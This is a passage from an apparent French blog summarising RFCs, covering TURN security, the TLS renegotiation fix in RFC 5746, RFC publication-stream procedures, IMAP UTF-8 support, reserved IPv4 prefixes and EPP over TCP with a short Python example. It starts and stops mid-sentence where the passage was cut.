section 11) qui permettent d'éviter de transmettre les en-têtes STUN à
chaque envoi de données.
Enfin, la section 17, très détaillée, note également que TURN ne peut pas être utilisé pour contourner la politique de sécurité : l'allocation ne se fait que pour une adresse IP d'un correspondant particulier (Abélard), TURN ne permet pas à Héloïse de faire tourner un serveur. Ce point permet de rassurer les administrateurs de coupe-feux et de leur demander de ne pas bloquer TURN.
Autre point important de cette section sur la sécurité : comme certains messages ne sont pas authentifiés, un méchant peut toujours envoyer au client des messages qui semblent venir du serveur et réciproquement. Le problème existe, mais c'est un problème plus général d'IP. TURN ne le résout pas mais ne l'aggrave pas (section 17.1.4).
Les implémenteurs seront sans doute intéressés par la section 12, qui explique comment traiter les en-têtes IP (voir aussi la 2.6). TURN travaille dans la couche 7, il n'est pas un « routeur virtuel » mais un relais applicatif. En conséquence, il ne préserve pas forcément des en-têtes comme ECN ou comme le TTL. Cela permet son déploiement sur des systèmes d'exploitation quelconque, où il n'est pas forcément facile de changer ces en-têtes. Pour la même raison, TURN ne relaie pas l'ICMP et la découverte traditionnelle de MTU (RFC 1191) à travers TURN ne marche donc pas.
À propos d'implémentations, il existe au moins une mise en œuvre libre de TURN, turnserver.
TURN a mis des années et des années à être publié. Certains débats, anycast pour trouver un serveur, cf. section 2.9, le fait de ne relayer qu'UDP et qu'IPv4, les allocations non-preserving, c'est-à-dire qui ne garantissent pas le respect des en-têtes IP comme ceux de DSCP, tous ces sujets ont été l'occasion de longs débats...
Date de publication du RFC : Février 2010
Auteur(s) du RFC : E. Rescorla (RTFM), M. Ray, S. Dispensa (Phone Factor), N. Oskov (Microsoft)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tls
Première rédaction de cet article le 13 février 2010
Les failles de sécurité font partie du folklore de l'Internet mais la plupart touchent une mise en œuvre particulière, qu'il suffit de corriger par un patch. La faille de renégociation de TLS, révélée en novembre 2009 était au contraire une faille d'un protocole. Il fallait donc modifier celui-ci pour la corriger, ce que vient de faire notre RFC (dont l'un des auteurs, Marsh Ray, est le découvreur de la faille). Ce RFC a été écrit et publié de manière particulièrement rapide, compte-tenu de l'urgence de combler cette faille. (Cette rapidité, inhabituelle à l'IETF, a d'ailleurs suscité des critiques.)
Un petit rappel : le protocole de sécurité
TLS, normalisé dans le RFC 5246, contient une phase de négociation
pendant laquelle les deux systèmes peuvent décider de choses comme les
algorithmes de cryptographie à utiliser. Ils
peuvent aussi présenter un certificat X.509
pour s'authentifier. Un point important de TLS est que la négociation
ne survient pas uniquement au début de la session. À tout moment,
chacune des deux parties peut renégocier
(commande R
si on utilise openssl
s_client
). Mais, et c'est le cœur de la faille, il
n'existe pas de liaison
(binding) entre l'état de la session avant renégociation et
après. Un attaquant peut donc commencer une session avec un serveur,
envoyer des données,
lancer une renégociation, puis laisser la place au vrai client qui va
s'authentifier. (Ce problème, et l'attaque qu'il rend possible, sont
détaillés dans la section 1 du RFC.) Avec des protocoles utilisant TLS, comme
HTTP qui ne fait pas la différence entre avant
et après la renégociation, les données envoyées par l'attaquant seront
considérées comme authentifiées par le vrai client... Même avec des
protocoles comme SMTP et
IMAP, où la transition entre état authenfifié
et non authentifié est davantage marquée, certaines attaques restaient
possibles. Bref, l'absence de
toute liaison cryptographique fiable entre l'« ancienne » session et
la « nouvelle » fait que le serveur et le client n'avaient aucun moyen
de détecter l'attaque.
Qu'est-ce qu'une liaison, à ce sujet ? C'est une preuve cryptographique que deux éléments sont liés, qu'une attaque contre l'un invaliderait l 'autre. C'est un composant essentiel de tout protocole de cryptographie, dont l'oubli ou les défaillances sont à l'origine de plusieurs failles de sécurité. Un exemple de liaison est celle que fait SSH avec le MAC qui est calculé pour les paquets (RFC 4253, section 6.4). Sans ce MAC, l'authentification effectuée au début d'une connexion SSH ne servirait pas à grand'chose puisqu'il n'y aurait pas de liaison entre cette authentification et les paquets : un méchant pourrait laisser l'authentification se faire, puis injecter ses propres paquets. (Sur la question de la liaison cryptographique, on peut lire le RFC 5056 pour plus de détails.)
Bref, TLS manquait d'une liaison entre la session avant et après renégociation. Comment résoudre cette faille ? Le plus simple était de supprimer complètement la renégociation dans la serveur, et c'est ce qu'a fait OpenSSL en urgence. Mais cela ne résout pas le problème des utilisateurs qui ont besoin de la rénégociation (par exemple pour l'authentification X.509 sur HTTP, si on ne veut pas avoir deux machines, une pour les sessions authentifiées et une pour les autres).
Notre RFC 5746 crée donc une autre solution, qui va
nécessiter la mise à jour des mises en œuvre de TLS.
Son principe est d'avoir une extension TLS
renegotiation_info
qui lie cryptographiquement
l'ancienne session (avant la rénégociation) et la nouvelle. Elle est
décrite plus en détail en section 3. Elle nécessite que chaque pair
TLS garde quelques informations supplémentaires :
secure_renegotiation
qui indique
si la nouvelle option est utilisable sur cette connexion TLS,client_verify_data
qui indiquait
les données de vérification envoyées par le client à la dernière négociation (et que
le client doit donc connaître, pour authentifier la
renégociation),server_verify_data
, l'équivalent
pour le serveur.
L'extension elle-même figure en section
3.2. renegotiation_info
est définie comme :
struct { opaque renegotiated_connection<0..255>; } RenegotiationInfo;
où la valeur renegotiated_connection
vaut zéro au
début puis, en cas de renégociation, vaut *_verify_data
.
Le changement à TLS est donc trivial. Mais il y a quelques détails
pénibles. Par exemple, la section 3.3 fait remarquer que, bien qu'une
extension inconnue doive être ignorée, certaines mises en œuvre
de TLS avortent la connexion dans ce cas. Face à un TLS récent qui
tente de leur envoyer une renegotiation_info
,il y
aura donc un problème. Une astuce a donc été créé : comme TLS permet
d'indiquer les algorithmes de chiffrement acceptés, un algorithme
bidon a été normalisé,
TLS_RENEGO_PROTECTION_REQUEST
. L'envoyer dans la
liste des algorithmes ne plantera personne (les algorithmes inconnus
sont légion et ne perturbent aucune implémentation) et permettra
d'indiquer qu'on gère la nouvelle extension. (Oui, c'est un bricolage
mais, dans le monde réel, on doit souvent utiliser de tels bricolages
pour assurer un déploiement réussi, malgré la présence de logiciels
bogués.)
Après ce petit détour sur la compatibilité, le RFC décrit en détail
le comportement que doivent adopter clients et serveurs, aussi bien
pour la connexion initiale (sections 3.4 et 3.6) que pour une
éventuelle renégotiation (sections 3.5 et 3.7). Le client
doit envoyer une extension renegotiation_info
vide au début, pour indiquer sa volonté de protéger la rénégotiation
(ou bien utiliser le truc de l'algorithme de chiffrement bidon). Si
cette extension n'est pas dans la réponse, cela peut signifier que le
serveur utilise un ancien logiciel, antérieur à notre RFC, ou bien
qu'une attaque de l'homme du milieu est en
cours. Le client doit donc décider s'il continue en notant juste que
secure_renegotiation
est faux, ou bien il doit
être exigeant et couper la session (après tout, autrement, la nouvelle
extension de sécurisation de la renégociation pourrait être rendue
inutile par des attaques par repli). Mais la
décision est difficile car, au début tout au moins, les clients TLS
nouveaux n'auront guère de serveurs « sécurisés » à qui parler. La
section 4.1 décrit plus en détail ce problème
cornélien.
La situation est plus simple pour le serveur qui peut toujours, s'il rencontre un vieux client, refuser une éventuelle renégociation. La méthode recommandée en section 4.3 (et 4.4 et 5) est donc de n'accepter de renégociation qu'avec un client compatible avec ce RFC 5746.
La renégociation, même sécurisée par une liaison cryptographique
avec l'état antérieur de la session, soulève d'amusants problèmes de
sécurité, que traite la section 5. Ainsi, beaucoup de logiciels
croient qu'en appelant getPeerCertificates()
, ils
obtiennent une liste de certificats immuable, qui est valide tout le
temps de la session. Mais ce n'est pas le cas s'il y a
renégociation.
Notre RFC recommande donc aux bibliothèques TLS de fournir un moyen d'autoriser ou d'interdire la renégociation (ce n'était pas le cas d'OpenSSL avant la découverte de la faille de sécurité.) Il y a d'autres recommandations comme celle d'offrir une possibilité de permettre la rénégociation mais sans changement des certificats (d'autant plus que, avec la plupart des bibliothèques existantes, il n'existe aucun moyen de savoir quelles données ont été transmises avant et après la renégociation).
Aujourd'hui, parmi les deux mises en œuvre de TLS en
logiciel libre, OpenSSL
a intégré le code pour notre RFC 5746 dans sa version 0.9.8m alors que
GnuTLS l'a en développement (l'essentiel du
code est dans lib/ext_safe_renegotiation.c
et est
écrit par un des auteurs du RFC).
Date de publication du RFC : Décembre 2009
Auteur(s) du RFC : R. Braden (ISI), J. Halpern (Ericsson)
Pour information
Première rédaction de cet article le 18 décembre 2009
L'infrastructure juridique des « nouveaux » RFC, désormais répartis en plusieurs voies selon leur source, continue à se mettre en place. Ce RFC 5744 décrit les procédures pour les droits liés aux RFC soumis par la voie « indépendante » (RFC soumis par un individu, ni l'IAB, ni un groupe de travail de l'IETF). Actuellement, il existe des dizaines de documents approuvés techniquement, qui attendent dans la file du RFC Editor car ils ont été soumis par cette voie et son statut n'a pas été clarifié depuis le déploiement des « nouveaux » RFC (RFC 5620). Sans doute vont-ils enfin être publiés mais on ne sait pas encore quand.
C'est que la publication d'un RFC, acte essentiellement technique au début, est devenue une grosse affaire juridico-politique. Des centaines de pages de discussions juridiques ont été noircies sur les problèmes de droits donnés par les auteurs (incoming rights, cf. RFC 5378) et les droits (forcément inférieurs ou égaux) que reçoivent les lecteurs (outgoing rights, cf.RFC 5377). Ces deux derniers RFC ne concernaient que les documents produits par l'IETF et, depuis, les documents produits par des individus languissaient sans statut et ne pouvaient être publiés.
Après tant de débats, il est ironique de constater que la procédure pour les RFC « indépendants » est finalement très proche de celle des RFC « IETF ».
Pour se saisir du contexte, la section 2 de notre RFC 5744 rappelle que le systèmes des voies (streams) a été défini dans les RFC 4844 (et RFC 4846, spécifiquement pour la voie indépendante). Cette dernière est une vieille tradition, et permet de publier des RFC qui sont proposés par des individus isolés, ou bien qui ont rencontré le veto de certaines parties à l'IETF (comme le RFC 4408). Tout RFC n'est donc pas le produit d'un groupe de travail IETF.
Depuis le RFC 5620, qui « éclatait » l'ancienne fonction de RFC Editor, la responsabilité des RFC soumis par voie indépendante revient au Independent Stream Editor, qui ne sera finalement désigné qu'en février 2010.
La section 3 pose les buts des nouvelles règles. Reprenant la politique traditionnelle, suivie informellement depuis l'époque de Jon Postel, elle pose comme principe que l'utilisation des RFC doit être la plus libre possible (« Unlimited derivative works »). Toutefois, tous les RFC de la voie indépendante ne sont pas équivalents. Certains sont des republications de documents édités ailleurs (par exemple par d'autres SDO) et les auteurs ont donc la possibilité de demander des restrictions supplémentaires. À noter que ces principes s'appliquent également au code inclus dans les RFC.
Enfin, les règles formelles elle-mêmes, en section 4. La procédure est proche de celle des autres RFC, l'auteur devant donner certains droits pour permettre la publication (par défaut, il donne presque tous les droits, en gardant évidemment l'attribution de son travail). Les termes exacts (le boilerplate) seront fixés par l'IETF Trust.
Le respect de la procédure par l'auteur ne préjuge pas de l'adoption du RFC. L'éditeur de la voie indépendante, l'ISE, reste seul juge de l'intérêt de publier le RFC. Le choix d'un auteur de ne pas permettre la réutilisation du RFC (« no derivative worlks ») peut, par exemple, être motif de rejet.
L'implémentation de cette politique nécessite une action de la part de l'IETF Trust, décrite en section 5. Celui-ci devra accepter la responsabilité de la gestion des droits de propriété intellectuelle pour ces RFC « indépendants » et devra écrire les termes exacts qui seront inclus dans chaque RFC.
Quant aux questions de brevets et de marques déposées, elles sont réglées dans la section 6. Les règles des RFC 2026 et RFC 8179 s'appliquent aux RFC de la voie indépendante comme aux autres : toute prétention de propriété intellectuelle doit être déclarée, de façon à ce que l'ISE puisse décider en toute connaissance de cause (notez bien qu'en pratique, cette règle est parfois violée). Comme d'habitude à l'IETF, il n'y a pas d'a priori sur les conditions de licence des brevets (tout est théoriquement possible) mais notre RFC précise que les termes de licence les plus favorables possibles seront privilégiés, notamment des licenses gratuites, voire implicites.
Date de publication du RFC : Décembre 2009
Auteur(s) du RFC : H. Alvestrand (Google), R. Housley (Vigil Security)
Première rédaction de cet article le 5 janvier 2010
Les RFC les plus connus sont ceux produits directement par l'IETF. Ils subissent alors tous un examen par l'IESG, garante de leur qualité et de leur cohérence. On l'ignore souvent mais ce n'est pas le cas de tous les RFC. Certains peuvent être soumis directement au RFC editor (Independent stream), d'autres soumis par d'autres organisations (comme l'IRTF). Que doit faire l'IESG avec eux ?
Le RFC 3932 répondait à cette question. Depuis le RFC 4844, qui formalise les différentes voies (streams) de soumission d'un RFC, il fallait le mettre à jour, ce qui a pris beaucoup de temps, entrainant le blocage d'un grand nombre de RFC indépendants, techniquement au point mais ne pouvant pas être publiés car on ignorait comment les gérer administrativement.
Deux des quatre voies sont traitées dans notre RFC 5742 : celle de l'IRTF et la voie indépendante, celle des documents soumis par des individus. Lorsqu'un document n'est pas passé par l'IETF, il n'a pas forcément été examiné sur les points où le protocole décrit peut causer des problèmes : sécurité, contrôle de congestion, mauvaise interaction avec les protocoles existants (section 1). L'IETF n'assume donc aucune responsabilité pour ces RFC indépendants.
Par contre, ils étaient traditionnellement (RFC 2026, section 4.2.3, puis RFC 3710) examinés par l'IESG. C'était un véritable examen, avec discussion des points techniques avec les auteurs, aller-retour, et discussions qui prenaient des ressources à l'IESG et retardaient sérieusement la publication du RFC. L'IESG avait décidé en mars 2004 de passer à une procédure plus légère (RFC 3932) où l'IESG vérifiait surtout qu'il n'y avait pas de conflit avec un travail en cours à l'IETF. Les commentaires de fond étaient envoyés au RFC editor qui les traitait comme n'importe quel autre commentaire. Quant aux documents de l'IRTF, ils étaient traités, soit comme venant de l'IAB, soit comme soumissions individuelles (ils ont maintenant leur propre voie, décrite dans le RFC 5743).
Notre RFC 5742 décrit la procédure qui est désormais suivie lorsque le RFC editor ou l'IRTF demande un examen plus complet à l'IESG (voir aussi le RFC 4846, qui détaille la voie indépendante).
Quels sont les changements par rapport au RFC 3932 ? La section 1.1 les résume :
Les détails de l'examen par l'IESG sont désormais dans la section 3. Après étude du document, l'IESG peut décider, au choix :
Des exemples concrets de conflits sont fournis dans la section 5. Par exemple, la publication d'un protocole « alternatif » (Photuris, RFC 2522) à celui de l'IETF (IKE, RFC 2409) devrait attendre pour laisser le protocole « officiel » être publié en premier. De tels protocoles alternatifs ne posent pas de problème en soi, le choix est une bonne chose, mais il est important qu'ils soient clairement différenciés du protocole de l'IETF. Un autre exemple est la réutilisation de bits « libres » dans un en-tête de paquet lorsque ces bits ont une autre signification dans la norme.
Et si les auteurs ou le RFC editor sont en désaccord avec la conclusion de l'IESG ? C'est la grande nouveauté de notre RFC 5742, une procédure de résolution des conflits, qui fait l'objet de la section 4. Même l'IETF, suivant la judiciarisation croissante de la société, a ses Dispute Resolution Procedures. En quoi consiste t-elle ici ? Dans l'introduction d'une tierce partie, l'IAB, qui sera chargée d'arbitrer tout conflit entre l'IESG et le RFC Editor, si les six semaines de dialogue obligatoire n'ont pas résolu le problème. L'IAB pourra donner raison à l'un ou l'autre et pourra donc, par exemple, imposer au RFC editor l'inclusion d'une note de l'IESG qu'il ne voulait pas.
Date de publication du RFC : Décembre 2009
Auteur(s) du RFC : L. Daigle, O. Kolkman
Pour information
Première rédaction de cet article le 5 janvier 2010
Les textes sacrés de l'Internet, les RFC, comprennent un certain nombre d'éléments obligatoires, souvent collectivement appelés boilerplates et comprenant, par exemple, les conditions légales d'utilisation du RFC. Ce RFC 5741 écrit par l'IAB les décrit et les précise. Il a depuis été remplacé par le RFC 7841.
Les éléments existants comme Category: Experimental ne suffisaient pas à transporter toute l'information nécessaire. Depuis la formalisation des voies dans le RFC 4844, les différents circuits de publication des RFC, il était devenu crucial de déterminer facilement de quelle voie venait un RFC. (Les anciens RFC étaient tous marqués comme provenant d'un mystérieux Network Working Group, cf. RFC 3.)
Donc, dans sa section 2, notre méta-RFC rappelle que, non seulement tous les RFC ne sont pas des normes (RFC 1796), mais que tous ne sont pas des documents issus de l'IETF, qui n'est qu'une voie parmi d'autres (quoique la plus prolifique). Ainsi, un RFC peut très bien être publié sans que l'IETF n'aie pu donner un avis sur des points comme la sécurité ou le contrôle de congestion, par le biais de procédures comme le IETF Last Call ou l'examen par l'IESG.
La section 3 liste les éléments qui forment la structure d'un RFC. Il y a l'en-tête général (section 3.1) qui, pour notre RFC, est :
Internet Architecture Board (IAB) L. Daigle, Ed. Request for Comments: 5741 O. Kolkman, Ed. Updates: 2223, 4844 For the IAB Category: Informational December 2009
indiquant qu'il est issu de la voie IAB, qu'il porte le numéro 5741, qu'il est de la catégorie « Pour information » (les catégories sont décrites dans le RFC 2026), etc. Les autres voies sont IETF, IRTF et « soumission indépendante ».
Après cet en-tête vient un paragraphe (section 3.2.2) qui décrit clairement la voie par laquelle ce RFC est passé. Par exemple, pour une soumission indépendante, le texte (qui est sujet à évolution, en synchronisation avec la définition des voies) actuel est « This is a contribution to the RFC Series, independently of any other RFC stream. The RFC Editor has chosen to publish this document at its discretion and makes no statement about its value for implementation or deployment. ».
Je ne reprends pas ici tous les éléments, qui sont décrits dans cette section 3. Notons simplement le copyright, issu des RFC 5378 et RFC 4879, et l'ISSN des RFC, 2070-1721.
Question mise en œuvre, les programmes XSLT de Julian Reschke sont apparemment à jour pour ce RFC (voir l'annonce officielle). Par contre, xml2rfc ne semble pas encore adapté. (Rappelez-vous que, depuis, ce RFC a été remplacé par le RFC 7841.)
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : P. Resnick (Qualcomm), C. Newman (Sun)
Expérimental
Réalisé dans le cadre du groupe de travail IETF eai
Première rédaction de cet article le 4 mars 2010
Presque toutes les normes produites par l'IETF sont désormais complètement internationalisées. Il reste quelques trous par-ci, par-là, qui sont comblés lentement. Par exemple, notre RFC 5738 normalise le support d'Unicode par le protocole IMAP d'accès aux boîtes aux lettres. (Il a depuis été remplacé par le RFC 6855.)
Normalisé dans le RFC 3501, IMAP permet d'accéder à des boîtes aux lettres situées sur un serveur distant. Ces boîtes peuvent désormais avoir des noms en Unicode, les utilisateurs peuvent utiliser Unicode pour se nommer et les adresses gérées peuvent être en Unicode. L'encodage utilisé est UTF-8 (RFC 3629). Ce RFC 5738 fait donc partie de la série de RFC du groupe de travail EAI qui normalise un courrier électronique complètement international.
Tout commence par la possibilité d'indiquer le support d'UTF-8. Un
serveur IMAP, à l'ouverture de la connexion, indique les extensions
d'IMAP qu'il gère et notre RFC en crée une nouvelle,
UTF8=ACCEPT
(section 3). Par le biais de
l'extension ENABLE
(RFC 5161), le client
peut à son tour indiquer qu'il va utiliser UTF-8. La section 3.1
détaille la représentation des chaînes de caractères UTF-8 sur le
réseau.
Des commandes IMAP prennent désormais un paramètre
UTF8
. C'est le cas de SELECT
et EXAMINE
(section 3.2) qui permettent de
manipuler les boîtes aux lettres. L'utilisation de ce paramètre par le
client lors
de la sélection d'une boîte change la sémantique de certaines
commandes. Par exemple, toute commande qui indique la taille de la
boîte aux lettres doit désormais compter en caractères Unicode et non
plus en octets.
Les nouvelles capacités sont toutes décrites dans la section 10 et enregistrées dans le registre IANA.
On peut désormais imaginer des boîtes aux lettres qui ne puissent
être manipulées qu'en UTF-8. Dans ce cas, elles ne doivent
pas être indiquées par défaut dans le résultat
d'une commande LIST
(sauf extensions de celle-ci,
cf. RFC 5258), puisqu'elles ne pourraient pas forcément être
sélectionnées ensuite. À noter qu'IMAP disposait depuis longtemps
d'une astuce pour représenter les boîtes aux lettres dont les noms
comportaient des caractères non-ASCII, la IMAP Mailbox International Naming
Convention (RFC 3501, section
5.1.3). Elle n'a jamais donné satisfaction et la section 3.3 de notre
RFC 5738 recommande de l'abandonner.
Il n'y a bien sûr pas que les boîtes, il y a aussi les noms
d'utilisateurs qui peuvent être en Unicode (capacité UTF8=USER
), et la section 5 spécifie
ce point, en demandant que ces noms soient canonicalisés avec
SASLprep (RFC 4013). Le RFC note
(annexe A) que
le serveur IMAP s'appuie souvent sur un système d'authentification
externe (comme /etc/passwd
sur
Unix) et que, de toute façon, ce système n'est
pas forcément UTF-8.
Aujourd'hui, rares sont les serveurs IMAP qui gèrent l'UTF-8. Mais,
dans le futur, on peut espérer que l'internationalisation devienne la
norme et la limitation à US-ASCII l'exception. Pour cet avenir
radieux, la section 7 du RFC prévoit une capacité
UTF8=ONLY
. Si le serveur l'annonce, cela indique
qu'il ne gère plus l'ASCII seul, que tout est en UTF-8 (un tel
serveur, en 2010, n'aurait guère de
clients...)
Outre les noms des boîtes et ceux des utilisateurs, cette norme IMAP UTF-8 permet à un serveur de stocker et de distribuer des messages dont les en-têtes sont en UTF-8, comme le prévoit le RFC 6532. Si son client ne gère pas UTF-8, le serveur doit alors (section 9) dégrader le messages en ASCII seul, comme expliqué dans le RFC 5504.
Chose relativement rare dans un RFC, l'annexe A contient une discussion détaillée des choix effectués et des raisons de ces choix. Par exemple, le fait que l'accès aux boîtes en UTF-8 se configure boîte par boîte et pas pour tout le serveur, a pour but de permettre aux serveurs existants de ne pas avoir à convertir toutes les boîtes stockées en UTF-8, lors de la mise à jour du logiciel.
Je ne connais pas encore d'implémentation en logiciel libre. À noter que ce RFC a été mis à jour et que la nouvelle version est le RFC 6855.
Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : J. Arkko (Ericsson), M. Cotton (ICANN), L. Vegoda (ICANN)
Pour information
Première rédaction de cet article le 15 janvier 2010
Pendant longtemps, les documentations ou cours sur TCP/IP utilisaient dans les exemples des adresses IP prises un peu au hasard, par exemple sur le réseau de l'auteur. Cela entrainait des problèmes si un lecteur prenait ces exemples trop littéralement et réutilisait ces adresses, rentrant ainsi en conflit avec les adresses existantes. C'est ce qui arrive par exemple au réseau 1. Le RFC 1166 avait donc commencé la bonne tradition de réserver des adresses pour la documentation, tradition que continue notre RFC 5737 (voir aussi le RFC 6890).
Comme le rappelle la section 1, la limite du préfixe
192.0.2.0/24
qui avait été réservé par le RFC 1166 était qu'il était tout seul : un cours sur
OSPF ou BGP était assez
difficile à faire avec des adresses commençant toutes par
192.0.2
. Deux autres préfixes ont donc été
ajoutés, 198.51.100.0/24
et
203.0.113.0/24
(section
3). IPv6, lui, a le
2001:db8::/32
du RFC 3849,
les numéros de systèmes autonomes ont les
plages 64496 à 64511 et 65536 à 65551, du RFC 5398,
et les noms de domaine
ont les example.org
et autres
example.net
du RFC 2606.
Puisque ces trois préfixes IPv4 sont réservés à la documentation, ils ne devraient jamais apparaitre sur des vrais réseaux, par exemple via BGP (section 4). On peut donc les ajouter aux listes de bogons.
À noter enfin que, contrairement à ce qu'on lit parfois, le préfixe
128.66.0.0/16
n'est pas
réservé (section 5) pour la documentation et peut être utilisé pour de
vraies allocations.
Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : G. Huston (APNIC), M. Cotton (ICANN), Leo Vegoda (ICANN)
Pour information
Première rédaction de cet article le 15 janvier 2010
Le RFC 5735 ayant réservé un préfixe
d'adresses IPv4,
192.0.0.0/24
pour des allocations « spéciales »,
ce RFC 5736 définit les règles que devra suivre
l'IANA pour la gestion du registre des allocations dans ce préfixe.
L'utilité principale de ce préfixe réservé est de permettre des allocations d'adresses IP pour certains protocoles qui ont besoin de coder en dur des adresses. (Il existe déjà un tel registre pour les adresses IPv6, registre décrit dans le RFC 4773.) La section 2 du RFC rappelle les généralités sur le rôle de l'IANA, ses relations avec l'IETF et l'accord qui les lie (RFC 2860).
La section 3 décrit le mécanisme d'allocation proprement
dit. Prendre une adresse dans le préfixe
192.0.0.0/24
nécessitera une IETF
review (le terme est défini dans le RFC 5226 et désigne une procédure relativement lourde,
impliquant l'écriture d'un RFC).
Le registre doit indiquer l'adresse IP réservée, le RFC où son usage est documenté, le caractère routable ou non de cette adresse, etc. À noter que, même si le registre dit qu'une adresse est prévue pour être routée mondialement, le RFC précise qu'on ne peut rien garantir à ce sujet, vue la décentralisation des politiques de routage.
Le registre est vide, pour l'instant. Patience...
Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : M. Cotton (ICANN), Leo Vegoda (ICANN)
Première rédaction de cet article le 15 janvier 2010
Un certain nombre de préfixes IPv4 ont une signification spéciale et ce RFC les documente, pour éviter aux lecteurs de devoir fouiller dans les nombreux RFC originaux. (Ce RFC a depuis été remplacé par le registre décrit dans le RFC 6890.)
Normalement, les préfixes des réseaux IPv4 sont attribués par l'IANA aux RIR qui les allouent ensuite aux LIR (qui sont en général des FAI). Ces allocations et les affectations aux utilisateurs finaux sont enregistrées par les RIR et sont publiquement accessibles via des protocoles comme whois. Le premier RFC sur le rôle de l'IANA est le RFC 1174 et la description actuelle du rôle de l'IANA est le RFC 2860.
Mais certains préfixes sont spéciaux et échappent à ce mécanisme. Ils ont été réservés par tel ou tel RFC et sont donc dispersés à plusieurs endroits. Notre RFC, successeur du RFC 3330, écrit par l'IANA, rassemble toutes ces réservations en un seul endroit.
Voici quelques exemples de préfixes ainsi documentés :
10.0.0.0/8
, réservé pour les adresses
privées par le RFC 1918,169.254.0.0/16
, réservé pour les adresses
locales au lien (cette réservation a été documentée dans
le RFC 3927),192.0.0.0/24
, réservé pour les protocoles
qui ont besoin d'adresses IP spécifiques. Pour l'instant, aucune
affectation dans ce nouveau
registre n'a été faite, le RFC 5736 décrit les règles que ces affectations suivront,192.0.2.0/24
, 198.51.100.0/24
et
203.0.113.0/24
, réservés pour la documentation. Les deux derniers préfixes sont une
nouveauté du RFC 5737. Le seul utilisé jusqu'à présent, le
192.0.2.0/24
, était trop petit pour certains
usages (par exemple, pour un cours BGP, c'était
pénible de devoir distinguer 192.0.2.0/25
et,192.0.2.128/25
),198.18.0.0/15
, réservé pour les mesures, suivant le RFC 2544,Si vous avez une idée géniale qui nécessite de réserver un autre préfixe, la marche à suivre est expliquée dans la section 5. Au minimum, vous aurez à écrire un RFC.
Les fanas de la sécurité noteront la section 7, qui précise les
filtrages qui devraient faire les routeurs (par exemple,
169.254.0.0/16
ne devrait jamais être routé), et
avertit qu'il ne faut pas forcément compter sur ces filtres : tous les
routeurs ne sont pas forcément bien configurés. Donc, si vous recevez
un paquet IP avec une adresse source en
169.254.0.0/16
, cela ne signifie pas forcément
qu'il vienne d'une machine locale.
L'annexe A liste les principaux changements par rapport au RFC
précédent, le RFC 3330. En raison de l'extrême pénurie d'adresses
IPv4, des préfixes ont été
définitivement remis dans le circuit normal d'allocation et
n'apparaissent donc plus comme spéciaux (par exemple le
24.0.0.0/8
). Et deux nouveaux préfixes
apparaissent pour la documentation.
Des nouveaux préfixes sont de temps en temps
ajoutés à cette liste des préfixes spéciaux, comme le
100.64.0.0/10
du RFC 6598.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 22 octobre 2009
Dernière mise à jour le 30 octobre 2009
Ce court RFC spécifie comment utiliser le protocole d'avitaillement EPP au dessus d'une simple connexion TCP.
EPP, décrit dans le RFC 5730 est à sa base uniquement un format XML pour les requêtes d'avitaillement (création, mise à jour et destruction d'objets) et leurs réponses. Ces éléments XML peuvent être transmis de différence façon (au dessus de HTTP, de BEEP, par courrier électronique, etc), et notre RFC normalise la plus commune aujourd'hui, une simple connexion TCP. Il remplace le RFC 4934, avec uniquement des modifications de détail, portant notamment sur l'utilisation de TLS (section 9).
Le RFC est court car il n'y a pas grand'chose à dire, juste
l'utilisation des primitives de TCP (ouverture et fermeture de
connexion, section 2 du RFC), l'ordre des messages (section 3), le
port utilisé (700, 3121 ayant été abandonné,
section 7) et le fait que chaque élément EPP soit précédé d'un entier
qui indique sa taille (section 4). Sans cet entier (qui joue le même rôle que
l'en-tête Content-Length
de HTTP), il faudrait,
avec la plupart des implémentations, lire les données
octet par octet (sans compter que la plupart des analyseurs XML ne
savent pas analyser de manière incrémentale, il leur faut tout
l'élément). En outre, sa présence permet de s'assurer que toutes les données ont été reçues (voir l'excellent article The ultimate SO_LINGER page, or: why is my tcp not reliable).
L'entier en question est fixé à 32 bits. Si on programme un client EPP en Python, l'utilisation brutale du module struct ne suffit pas forcément. En effet :
struct.pack("I", length)
force un entier (int
) mais pas forcément un
entier de 32 bits. Pour forcer la taille, il faut utiliser également,
comme précisé dans la documentation, les opérateurs < et >, qui servent aussi à forcer la
boutianité (merci à Kim-Minh Kaplan pour son
aide sur ce point).
Voici une démonstration (un "l" standard fait 4
octets alors que le type long de C peut faire 4 ou 8 octets) :
# Machine 32 bits : Python 2.4.4 (#2, Apr 5 2007, 20:11:18) [GCC 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import struct >>> print struct.calcsize("l") 4 >>> print struct.calcsize(">l") 4
# Machine 64 bits : Python 2.4.5 (#2, Mar 11 2008, 23:38:15) [GCC 4.2.3 (Debian 4.2.3-2)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import struct >>> print struct.calcsize("l") 8 >>> print struct.calcsize(">l") 4
Si on a quand même un doute, on peut tester la taille obtenue mais ce code est probablement inutile (merci à David Douard pour son aide ici) :
# Get the size of C integers. We need 32 bits unsigned. format_32 = ">I" if struct.calcsize(format_32) < 4: format_32 = ">L" if struct.calcsize(format_32) != 4: raise Exception("Cannot find a 32 bits integer") elif struct.calcsize(format_32) > 4: format_32 = ">H" if struct.calcsize(format_32) != 4: raise Exception("Cannot find a 32 bits integer") else: pass ... def int_from_net(data): return struct.unpack(format_32, data)[0] def int_to_net(value): return struct.pack(format_32, value)
L'algorithme complet d'envoi est :
epp_as_string = ElementTree.tostring(epp, encoding="UTF-8") # +4 for the length field itself (section 4 mandates that) # +2 for the CRLF at the end length = int_to_net(len(epp_as_string) + 4 + 2) self._socket.send(length) self._socket.send(epp_as_string + "\r\n")
et la lecture :
data = self._socket.recv(4) # RFC 5734, section 4, the length # field is 4 bytes long length = int_from_net(data) data = self._socket.recv(length-4) epp = ElementTree.fromstring(data) if epp.tag != "{%s}epp" % EPP.NS: raise EPP_Exception("Not an EPP instance: %s" % epp.tag) xml = epp[0]
Le code Python complet (qui ne met en œuvre qu'une petite
partie de EPP, le but était juste de tester ce RFC 5734),
utilisant la bibliothèque ElementTree, est
disponible en ligne. Le code
ci-dessus comporte
une grosse faiblesse (mais classique) : rien ne garantit que
recv(n)
retournera autant
d'octets que réclamé. Il en renverra au plus n
